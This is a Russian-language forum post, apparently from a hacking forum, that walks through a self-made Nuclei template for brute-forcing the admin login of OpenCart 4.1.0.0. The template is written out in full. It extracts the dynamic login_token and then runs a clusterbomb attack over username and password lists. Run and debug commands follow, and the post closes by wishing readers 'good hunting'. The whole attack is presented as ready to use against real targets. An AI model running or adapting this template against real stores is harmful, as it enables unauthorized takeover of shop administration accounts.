Брутим свеженький OpenCart 4.1.0.0 с помощью самодельного шаблона Nuclei (с "многоходовочкой")

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Всем доброго времени суток!
Статью пишу впервые, поэтому жду адекватной оценки и критики.

Если вы узнаете что-то новое про шаблоны Nuclei - ставьте лайки,
если вы и так уже всё это знаете - можете ставить дизлайки, а самое главное - напишите почему и дайте свои рекомендации.

Как все уже наверное знают в свежем OpenCart есть нововведение, а именно динамически генерируемый для логин формы параметр login_token, будь он неладен!

Поэтому простой Nuclei шаблон из одного http(s) запроса который тупо брутит - увы уже не прокатит :confused: тут нужна "многоходовочка" , а именно:

1. Один раз HTTP GET https://your.target/admin/index.php?route=common/login для получения (с помощью Nuclei экстрактора разумеется, регекспом) login_token из логин формы:

Спойлер: OpenCart 4.1.0.0 - форма входа в админку
screen-opencart-4.1.0.0-login-form.png


2. Много раз, ну или как повезёт, HTTP POST https://your.target/admin/index.php?route=common/login.login&login_token=тут_этот_самый_login_token_из_пункта_1 с типом контента application/x-www-form-urlencoded и содержимым тела запроса вида username=имяюзера&password=ойязабылсвойпарольчессловаянехакер

Дабы не издеваться над "интернетами" и реальными таргетами (трафик, шум, "палево") отладкой шаблона мною было принято волевое решение развернуть свежий OpenCart 4.1.0.0 (3 days ago он вышел, ну как пишет гитхаб) в Docker на отдельной виртуальной машине (далее в статье её IP 192.168.1.219), благо и docker-compose.yml и Dockerfile у OpenCart в репе прям имеются и искать писать самому их не требуется.

Ну и в итоге получился вот такой вот Nuclei шаблон на всего 60 строчек в формате YAML , где для вас ещё оставил подробные комментарии что там и зачем в почти каждой строчке:
Скрытый контент для зарегистрированных пользователей.

YAML: Скопировать в буфер обмена
Код:
id: opencart-bruteforce

info:
  name: opencart-bruteforce
  author: zdestuta from XSS.IS
  tags: opencart,zdestuta
  description: |
    Bruteforce OpenCart usernames and passwords.
    Based on Nuclei template http/fuzzing/wordpress-weak-credentials.yaml
    Tested on fresh OpenCart 4.1.0.0
    https://github.com/opencart/opencart/tree/4.1.0.0
    Syntax of Nuclei templates https://github.com/projectdiscovery/nuclei/blob/main/SYNTAX-REFERENCE.md

http:
  ##
  ## 1. Extract login_token parameter from login from "action" attribute URL.
  ##
  - raw:
      - |
        GET /admin/index.php?route=common/login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/admin/index.php?route=common/login

    extractors:
      - type: regex
        name: login_token # variable name to extract data to
        internal: true # for use extracted variable as {{login_token}} in next bruteforce requests, see below
        group: 1 # for extract only ([0-9a-f]+) to the variable
        regex:
          - login_token=([0-9a-f]+) # see <form id="form-login" action="https://your.target/admin/index.php?route=common/login.login&login_token=...
  ##
  ## 2. Perform clusterbomb bruteforce using users and passwords from files.
  ##
  - raw:
      - |
        POST /admin/index.php?route=common/login.login&login_token={{login_token}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/admin/index.php?route=common/login

        username={{users}}&password={{passwords}}

    attack: clusterbomb
    payloads:
      users: /root/my-nuclei-templates/users.txt # !!! change this to your usernames file !!!
      passwords: /root/my-nuclei-templates/passwords.txt # !!! change this to your passwords file !!!
    stop-at-first-match: true
    matchers-condition: and
    matchers: # Maybe it's naive matchers, but it works and tested on OpenCart 4.1.0.0 :-)
      - type: word
        part: body
        words:
          - 'redirect'
      - type: word
        part: body
        words:
          - 'dashboard'


Какая может быть образовательная польза из шаблона выше:
1. В нём показано как сделать два (ну или более) запроса в одном шаблоне, но не просто два запроса, а связанных в цепочку где второй зависит от данных из первого. Запросы я намеренно сделал сырые (raw) чтобы было подробно видно что передаётся.
2. В первом GET запросе показано как extractor'ом вынимается контент (любой, регулярным выражением, причём с "capture groups" - используется 1-я capture группа) и кладётся в новую внутреннюю переменную Nuclei для использования в последующем запросе (или запросах). Это удобно если первым запросом надо получать куку, токен, nonce, etc. для последующего использования.
3. Во втором POST запросе показано как fuzz'ить ("брутфорсить") , взяв пэйлоады из отдельных файлов (внимание: у вас файлы с пэйлоадами могут лежать в другом месте и называться по другому!!! всмысле не надо бездумно копипастить я вот к чему) где каждый пэйлоад на отдельной строчке в файле, а также показана работа 2-х ну очень простых матчеров (тут я маленько "схалтурил" типа "работает? и так пойдёт!) по условию "И", ну и на первом же success'е чтобы брутфорс прекращался и показывался результат.

Запускается всё это дело очень просто:
nuclei -t '/root/my-nuclei-templates/opencart-bruteforce.yaml' -u 'http://192.168.1.219'

И работает вот так (практически мгновенно так как "демка"):
screen-run-template.png



Как видим логин "admin" и пароль "nimda" , всё незатейливо.

Если же надо отлаживать шаблон, то все запросы/ответы можно увидеть запустив вот так:
nuclei -t '/root/my-nuclei-templates/opencart-bruteforce.yaml' -u 'http://192.168.1.219' -debug 2>&1

Выглядит с отладкой оно вот так:
Спойлер: Отладка Nuclei шаблона где мы видим все запросы и ответы
screen-run-with-debug.png


Спойлер: И вот ещё картинка с запуском с ключами для "средней подробности"
screenshot-xtra.png


Q> Откуда я так поумнел внезапно взята информация как делать шаблоны?
A> Из официального гитхаба Nuclei - там есть полный syntax reference шаблонов.

Q> Будет ли это работать на предыдущих версиях OpenCart?
A> Скорее всего нет, так как "затачивал" именно под новый свежайший 4.1.0.0 с его #%$цким login_token этим :)
Впрочем предыдущие версии OpenCart брутить сильно проще и на основе этого шаблона (путём выкидывания лишнего) вы всегда сможете написать свой шаблон (и поделиться тут со всеми!!!)

P.S. Всем удачной охоты, ну или "просто побаловаться" ! :)
 
Сверху Снизу